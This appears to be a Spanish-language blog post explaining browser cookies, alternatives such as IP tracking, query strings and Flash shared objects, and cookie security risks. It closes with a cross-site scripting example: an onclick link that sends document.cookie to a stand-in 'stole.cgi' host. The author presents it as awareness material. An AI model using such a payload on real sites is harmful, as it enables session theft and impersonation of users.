Alternativas a las cookies

La publicación de las cookies de la semana anterior trajo consigo un debate entre varias amistades mías; asegurando un grupo que las cookies eran inseguras y poco efectivas y otros defendiéndolas. Por esta razón ceo que vendría bien analizar las alternativas a las mismas para que ustedes se creen un criterio y decidan el lado que van a apoyar ahora que saben un poco más.

Creo que prima empezar aclarando que algunas de las operaciones que se pueden realizar mediante cookies también se pueden hacer mediante otros mecanismos. Pero como es de suponer, estos tienen sus propios inconvenientes (de lo contrario habrían dejado obsoletas a las cookies). Por esta razón la privacidad sigue siendo hasta nuestros días un problema, utilicemos o no las cookie, las defina o no el servidor.

La primera y que seguro se les ha ocurrido a muchos (otros es probable que la hayan leído) es utilizando la dirección IP, que no es más que almacenar esta dirección del ordenador que solicita las páginas. El reconocimiento de IP está disponible desde los inicios de World Wide Web, debido a que es necesario al descargar páginas que el servidor reconozca la dirección IP del ordenador donde corre el navegador. Está opción puede ser guardada en el servidor, esté o no usando cookies. Pero como ustedes sabrán en algunas redes las direcciones IP son dinámicas (como Infomed), se le asignan al ordenador en el momento de conectarse (un mismo ordenador puede tener diferentes direcciones IP en diferentes sesiones). Esto provoca que sea menos fiable que las cookies en la identificación de un usuario. Sin embargo, esta técnica la podemos hacer más confiable si usamos otra característica del protocolo HTTP: en el momento que un usuario solicita una página porque ha seguido un link, la petición que se envía al servidor contiene la URL de la página donde el link estaba localizado. Si el servidor almacena esas URL, se puede rastrear el camino de páginas visitadas por el usuario de forma más precisa. Pero he aquí otro inconveniente: varios usuarios en un mismo ordenador pueden acceder a la misma página y después seguir links diferentes, lo que hace este “rastreo” menos fiable; y digo rastreo porque está técnica solo permite eso y no puede reemplazar a las cookies en sus otros usos.

Pero pese a esto puede que algunos todavía piensen que se puede usar la dirección IP, pues bien, les diré que es imposible en algunos sistemas que se utilizan precisamente para mantener el anonimato en Internet, tales como Tor (-The Onion Router- es una implementación libre de un sistema de encaminamiento llamado onion routing que permite a sus usuarios comunicarse en Internet de manera anónima). Con sistemas como este, el navegador utiliza varias direcciones IP a lo largo de una sesión.

Otra técnica más precisa es la URL (query string), que consiste en incrustar información en la URL. El mecanismo de sesión de PHP utiliza este método si las cookies no están habilitadas. Consiste en que el servidor web añade query strings a los enlaces de la página web que contiene, a la hora de servirla al navegador. Cuando el usuario sigue un enlace, el navegador devuelve al servidor la query string añadidos a los enlaces. Usándolas de esta forma, si nos damos cuenta son muy parecidas a las cookies, siendo ambas porciones de información definidos por el servidor y devueltas por el navegador posteriormente. Pero ahora veamos las diferencias y desventajas de la query string. Si un usuario accede a una página 2 veces, no hay seguridad que utilice la misma query string; tal es el ejemplo siguiente: se accede a una página a través de otra que se encuentre en el mismo servidor y a través de un buscador --> las query string serán normalmente diferentes, mientras las cookies serian iguales. Recordando lo hablado referente a la fijación de sesión (en el artículo cookies de la semana pasada) se puede decir que una query string simplifica dichos ataques, por lo que en esta parte de seguridad las cookies son más seguras (disculpen la redundancia pero la creo necesaria).

Veamos ahora la Autenticación HTTP, para esta autenticación el protocolo HTTP incluye mecanismos tales como el digest access authentication, que permite acceder a una página web sólo cuando el usuario ha facilitado un nombre de usuario y contraseña correctos. Después de este acceso el navegador guarda esta información y la utiliza para acceder a las páginas siguientes sin intervención de usuario, para nosotros es lo mismo que las cookies, pero en cada acceso a una página el navegador se encarga de enviar nuevamente estos datos, por lo que si alguien estuviese escuchando este tráfico podría leer esta información y almacenarla para su uso posterior, además de que normalmente tras un tiempo de inactividad estas sesiones expiran.

Ahora pasemos a una alternativa que pocos conocen, y tal es el caso de Objetos Macromedia Flash almacenados localmente. Si un navegador incluye el plugin de Macromedia Flash Player, se puede utilizar la función -Local Shared Objects- del mismo, de una forma muy similar a las cookies. El tamaño máximo por defecto de los objetos es 100 kb y casi todos los usuarios de Windows tienen Flash Player instalado, de forma que los Local Shared Objects pueden estar habilitados cuando las cookies no lo están. Aquí una alternativa que a mi parecer es de las mejores, aunque existen usuarios novatos en la actualidad que no tienen este plugin en el navegador.

Otra alternativa y la última que conozco es Persistencia en el cliente, que no es más que un mecanismo de persistencia que algunos navegadores web soportan, basado en script que permite que la página almacene información localmente para su uso posterior. Internet Explorer, por ejemplo, soporta información persistente en el historial del navegador, en los favoritos, en un almacenamiento XML, o directamente en una página web guardada en disco.

Seguridad en la navegación [cookie]

¿A quien no le ha pasado que un sitio le pide que elimine los cookies, o en el navegador ve esa palabra? Pues bien después de cansarme de no entender que era eso me di a la tarea de leer un poco, y después de tomar mis notas creí que podría ayudar a otros de la comunidad BlackHat. Una cookie es un fragmento de información que se almacena en el disco duro de todo aquel que visite una página web a través de su navegador, a petición del servidor de la página (Esta información puede ser luego recuperada por el servidor en posteriores visitas).

Un poco de historia siempre viene bien, así que les diré que fueron creadas por Lou Montulli, un antiguo empleado de Netscape Communications, y el término "cookie" deriva de "cookie mágica". Se empezaron a usar a partir de junio de 1994 como Cookies mágicas cuando su creador (Montulli) dio uso de ellas en las comunicaciones Web. En un inicio eran aceptadas por los navegadores por defecto (by default) y muchos usuarios desconocían de la existencia de las mismas y no eran notificados por el navegador.

Pero aún no sabemos que “hacen” en los navegadores ni sus funcionalidades. Pues bien, los usos más frecuentes de las cookies son llevar el control de usuarios (Seguramente muchos de nosotros después de registrarse en un servidor no se ha puesto a pensar como nos reconoce cuando viajamos dentro las páginas del mismo, pues bien, eso es porque se almacena una cookie. Sin embargo una cookie no identifica a una persona, sino a una combinación de ordenador y navegador), otro uso es saber (conseguir) los hábitos de navegación del usuario e intentos de spyware, por parte de agencias de publicidad y otros. Este último uso es el que lleva a las cookies a hacerlas algo inseguras, causando posibles problemas de seguridad. Otro uso de las cookies es identificarse en un sitio web. Los usuarios normalmente se identifican introduciendo sus datos en una página de validación; las cookies permiten al servidor saber que el usuario ya está validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que están restringidas a usuarios identificados, tal es el ejemplo de Wikipedia (la enciclopedia libre), sus páginas permiten a los usuarios logueados (identificados) elegir un estilo de presentación a su gusto entre otras cosas.

Una posible interacción entre un navegador web y un servidor, en la que el servidor envía una cookie al navegador y el navegador la devuelve cuando solicita otra página.

Como decíamos anteriormente, las cookies son trozos de datos arbitrarios definidos por el servidor web y enviados al navegador, quien posteriormente los devuelve sin modificar al servidor. Las cookies también pueden ser definidas por un script en un lenguaje como JavaScript, si éste está soportado y habilitado en el navegador web. Ahora bien, supongamos que estamos comprando un ordenador en la Web (sería fantástico hacerlo desde nuestro país), y de cada página vamos adquiriendo las piezas que queremos, una página de tarjetas de video, una de memorias RAM, etc…, así hasta tenerla lista; en ese caso si el programador del sitio quisiera, podría crear una cookie que nos permitiera saber todo lo que hemos adquirido, incluso si cerrásemos el navegador sin realizar la compra y nos conectamos más tarde tendríamos conocimientos de la selección anterior (gracias a la cookie) para evitarnos buscar los componentes de nuevo. Esta cookie sería creada con fecha de borrado según el deseo del diseñador del sitio web, en cuyo caso la cookie será borrada en esa fecha. De lo contrario, si no se define una fecha de borrado, la cookie es borrada cuando el usuario cierra su navegador. Por lo tanto, definir una fecha de borrado es una manera de hacer que la cookie sobreviva entre sesiones. Por esta razón, las cookies con fecha de borrado se llaman persistentes.

No conozco ningún navegador que no soporte las cookies (no significa que no haya), sin embargo los usuarios pueden elegir si las cookies deberían ser utilizadas o no. Las opciones más comunes que nos ofrecen los navegadores son:

• Las cookies no se aceptan nunca.
• El navegador pregunta al usuario si se debe aceptar cada cookie.
• Las cookies se aceptan siempre.

En fin, nosotros como usuarios podemos aceptar alguna de las siguientes opciones:

· rechazar las cookies de determinados dominios.

· rechazar las cookies de terceros (ver más abajo).

· aceptar cookies como no persistentes (se eliminan cuando el navegador se cierra).

· permitir al servidor crear cookies para un dominio diferente.

· Además, los navegadores pueden también permitir a los usuarios ver y borrar cookies individualmente.

Un pequeño artilugio que pocos conocen es ver las cookies que están activas en una determinada página (para la mayoría de los navegadores que soportan JavaScript), solo tienen que escribir en el campo de dirección: javascript:alert("Cookies: "+document.cookie)

Desde su aparición en Internet no ha dejado de circular ideas equivocadas acerca de las cookies. En el año 2005, Jupiter Research publicó los resultados de un estudio según el cual un importante porcentaje de entrevistados creían cierta alguna de las siguientes afirmaciones:

· Las cookies son similares a gusanos y virus en que pueden borrar datos de los discos duros de los usuarios;

· Las cookies son un tipo de spyware porque pueden leer información personal almacenada en el ordenador de los usuarios;

· Las cookies generan popups;

· Las cookies se utilizan para generar spam;

· Las cookies sólo se utilizan con fines publicitarios.

Ahora, basándonos en la opinión de estas personas y conociendo un poco ya lo que son las cookies, vamos a hacer una pequeña reflexión. Las cookies son solo datos (no códigos), por tanto no pueden borrar ni leer información del ordenador de los usuarios. Eso sí, las cookies permiten detectar las páginas visitadas por un usuario en un sitio determinado o conjunto de sitios y esta información puede ser recopilada en un perfil de usuario. Normalmente estos perfiles son anónimos (no contienen información personal del usuario -nombre, dirección, etc.-), y eso es porque no hay manera de obtenerla a menos que el mismo usuario la haya escrito en alguno de los sitios visitados.

Según el mismo informe, un gran porcentaje de los usuarios de Internet no saben cómo borrar las cookies.

Continuemos con un poco sobre privacidad e introduzcamos que son las cookies de terceros. Una página web puede contener imágenes y otros componentes almacenados en servidores de otros dominios, las cookies que se crean durante las peticiones de estos componentes se llaman cookies de terceros.

Bien, basémonos en este ejemplo ficticio, supongamos que los cuadros de arriba son dos páginas web, una en Wikipedia y otra de la CIA, una compañía que está publicando ha puesto banners (propaganda o anuncio) en dos sitios Web (que no muestran ningún banner real).

Subiendo la imagen del banner en sus servidores y usando cookies de terceros, la compañía que publica es capaz de seguir la búsqueda de usuarios a través de estos dos sitios. Las compañías publicitarias utilizan cookies de terceros para realizar un seguimiento de los usuarios a través de múltiples sitios donde han colocado sus imágenes publicitarias o web bugs, y así dirigir su publicidad según las supuestas preferencias del usuario.

Comúnmente nosotros tenemos en la casa, centro de trabajo o estudio más de un navegador, que pueden se IE y Firefox, IE y Opera, y muchas más combinaciones. Esto trae consigo otro problema relacionado con las cookies, y es que cada navegador tiene su propio almacenamiento de cookies. Entonces caemos en algo referido anteriormente, solo que ahora lo ampliaremos un poco más: “las cookies no identifican a una persona, sino a una combinación de cuenta de usuario, ordenador y navegador”. De esta manera, cualquiera que utilice varias cuentas, varios ordenadores, o varios navegadores, tiene también múltiples conjuntos de cookies, estas no diferencian entre varias personas que utilicen el mismo ordenador o navegador, si éstos no utilizan diferentes cuentas de usuario.

En el Opera, las cookies son guardadas en:

C:\\Archivos de Programas\Opera\Profile\cookies4.dat

En el Internet Explorer en:

C:\\Documents and Settings\FAMILIA\Cookies

Y así cada navegador en una carpeta diferente.

He aquí otro problema al que nos enfrentamos cuando navegamos en la red de redes, y es el robo de cookies, que no es más que el proceso que permite a una parte no autorizada a recibir una cookie, y la encriptación no sirve contra este tipo de ataque. Cuando las cookies son enviadas sobre sesiones HTTP normales son visibles a todos los usuarios que pueden escuchar en la red utilizando un sniffer de paquetes, este problema se puede resolver mediante el uso de https, que invoca seguridad de la capa de transporte para cifrar la conexión.

Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que no deberían acceder a ellas. Esta posibilidad es explotada normalmente por atacantes de sitios que permiten a los usuarios el envío de contenido HTML. Introduciendo un segmento de código adecuado en un envío HTML, un atacante puede recibir las cookies de otros usuarios. El conocimiento de estas cookies puede después ser explotado mediante la conexión a los sitios en los que se utilizan las cookies robadas, siendo así identificado como el usuario a quien se le robaron las cookies. Un ejemplo de esto lo veremos al final.

Ahora veamos al problema de la falsificación de cookies utilizando el ejemplo que he empleado de la compra de un ordenador. En teoría como hemos dicho las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, ¿pero que pasaría si al tener la cookie almacenada del sitio al que accedí varío el precio total y en vez de pagar el precio real del ordenador, pago solo una ínfima parte? A este proceso de modificar el valor de las cookies se denomina falsificación de cookies y a menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Pero por seguridad, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión (un número único utilizado para identificar la sesión del usuario) y el resto de la información se almacena en el propio servidor. En este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Las cookies entre sitios (cross-site cooking) funciona similar a la falsificación de cookies, pero el atacante se aprovecha de usuarios no malintencionados con navegadores vulnerables, en vez de atacar el sitio web directamente. El objetivo de estos ataques puede ser realizar una fijación de sesión (robo de sesión en un sitio web). Por eso cada sitio debe tener sus propias cookies, de forma que un sitio blackhat.org no tenga posibilidad de modificar o definir cookies de otro sitio como whitehat.org. Las vulnerabilidades de -cross-site cooking- de los navegadores permiten a sitios maliciosos romper esta regla.

Ahora pasemos a ver la implementación de una cookie. A pesar de las cookies, los exploradores piden una página a los servidores enviándoles un texto corto llamado “solicitud de HTTP” (HTTP request). Una petición luciría así:

	GET http://www.w3.org/index.html HTTP/1.1 Accept: */*
browser	→	server

El servidor responde al enviar la página pedida precedida por un texto similar, llamado encabezado HTTP (HTTP header). Este paquete puede contener líneas haciéndole al explorador una petición para que guarde cookies:

	HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value (content of page)
explorador	←	servidor

La línea Set-cookie es solo enviada si el servidor desea que el explorador guarde las cookies. De hecho, es una petición al explorador el guardar la secuencia de caracteres nombre=valor (name=value) y enviarla de vuelta en cualquier otro futuro pedido del servidor. Si el explorador soporta cookies y las cookies están admitidas, toda petición de cada página subsecuente al mismo servidor va a contener la misma cookie.

Por ejemplo, el explorador pide la página http://www.w3.org/spec.html enviando al servidor www.w3.org un pedido que se asemeja al siguiente:

	GET /spec.html HTTP/1.1 Cookie: name=value Accept: */*
explorador	→	servidor

Este es un pedido para otra página del mismo servidor, y se diferencia del primero porque contiene la secuencia que el servidor había previamente enviado al explorador. Por ende, el servidor sabe que este pedido está relacionado con el previo. El servidor responde al enviar la página pedida, posiblemente añadiendo otras cookies también.

El valor de la cookie puede ser modificada por el servidor al enviar una nueva línea Set-Cookie: name=newvalue en respuesta al pedido de la página. El explorador entonces reemplaza el viejo valor con el nuevo.

Las cookies también pueden ser seteadas (como lo decimos a diario y se deriva de set) por JavaScript o scripts similares en el explorador. En JavaScript, el objeto document.cookie es usado para este propósito. Por ejemplo, la instrucción document.cookie = "temperatura=20" crea una cookie de nombre temperatura y valor 20.

Para finalizar veamos un pequeño ejemplo de como nos pueden hacer para recoger nuestras cookies. Primero debo aclarar que este ejemplo no es en absoluto con la idea de que se ponga en práctica, es solo para ampliar el conocimiento y evitar que seamos timados. Si algún lector lo utiliza para algo más, que sepan que esa no era la idea del artículo.

En particular, algunos scripting languages (lenguaje scripting) tales como JavaScript y JScript usualmente permiten acceder a los valores de las cookies y tienen diversas maneras de enviar valores arbitrarios a servidores arbitrarios en Internet. Este hecho es usado en combinación con sitios que permiten a los usuarios postear contenido HTML que otros usuarios pueden ver.

Por ejemplo, un atacante en el dominio ejemplo.com puede postear un comentario que contenga el siguiente link a un popular blog que ellos no tengan control sobre él:

href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!

Cuando otro usuario clickee sobre este link, el navegador ejecuta la parte del código dentro del atributo onclick, de esta manera reemplaza la cadena de caracteres document.cookie con la lista de los cookies que están activas en la página. Como resultado esta lista de cookies es enviada al servidor ejemplo.com, y el atacante esta libre de recoger los cookies de otros usuarios.

Este tipo de ataque es difícil de detectar de parte de los usuarios, debido a que los scripts vienen desde el mismo dominio donde han sido seteados los cookies, y la operación de enviar el valor aparece como autorizada por este dominio. Esto es usualmente considerado responsabilidad de los administradores.